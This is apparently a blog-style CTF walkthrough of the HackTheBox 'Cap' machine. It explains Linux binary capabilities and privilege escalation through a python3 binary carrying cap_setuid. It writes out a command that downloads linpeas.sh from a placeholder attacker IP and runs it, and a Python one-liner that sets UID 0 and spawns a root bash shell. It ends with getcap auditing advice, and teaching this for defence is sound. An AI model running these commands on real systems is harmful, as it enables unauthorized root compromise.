A process on the computer spawns a shell out of nowhere with root privileges. This situation is likely to make any blue team member question the legitimacy of the process in question. However, what if I told you this behaviour was possible not because of some sophisticated attack but because of a simple misconfiguration that anyone could make?
Introducing binary capabilities, the linux feature that, with just one misconfigured capability, can lead even novice attackers to complete system compromise.
History
The developers of linux were running into a problem, certain applications needed specific capabilities that the root user has. However, the developers did not want to grant just any process complete root privileges because it needed to execute a very narrow task under a root context. As a result, the linux developers came up with an ingenious solution: each binary would have a set of "capabilities" that would allow it to conduct a certain type of activity at a higher privilege level. For example, the ping utility has the cap_net_raw capability because it needs to open a raw network socket to construct ICMP echo request packets and send them directly through the network layer. The advent of capabilities has, in some ways, made Linux a more secure platform. However, all it takes is one critical misconfiguration and root access becomes a low-hanging fruit.
To showcase this reality, we will be going through a simulated example on a HackTheBox machine called cap. We will be ignoring most of the initial foothold steps and mainly focus on the privilege escalation step to acquire the root flag.
Walkthrough
After initial compromise you are put into an SSH session on the target machine. The next likely step is that you are going to further enumerate the target machine in order to gain information and identify possible privilege escalation vectors. In this case, I will be using linpeas.sh to enumerate privilege escalation vectors.
To transfer the file I will be using the http.server file transfer method
# Attacker machine — host linpeas over a quick HTTP server
python3 -m http.server 80
# Victim machine — pull it down and make it executable
wget http://<ATTACKER_IP>/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
Then, I will run the linpeas.sh script to find out that the python interpreter has the cap_setuid+ep Linux capability set.
The cap_setuid capability allows the affected binary to set its own UID (User ID) while it's running. This is problematic since Linux uses the UID of a running process to enforce permissions. Therefore, if we can change the UID of the python interpreter process while its running to an ID of 0 we can gain root level access to the system and spawn a root shell.
The following command will create a python interpreter process and use the os python module to set the processes own UID to 0 and then spawn a shell under that privileged context
# Python cap_setuid abuse — flip UID to 0 then drop into bash
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Finally, under the context of the root user, we can cd into root and find the root flag
whoami
# root
cd /root && cat root.txt
The nature of this type of misconfiguration is insidious as it's not an obvious malware, misconfiguration within popular administration software, or a purposefully malicious capability to give to any singular binary. The reality is that this type of privilege escalation vector comes through a lack of auditing and proper security procedures within an organization. A simple command like getcap -r / can identify excessive capabilities and eradicate this privilege escalation vector from your environment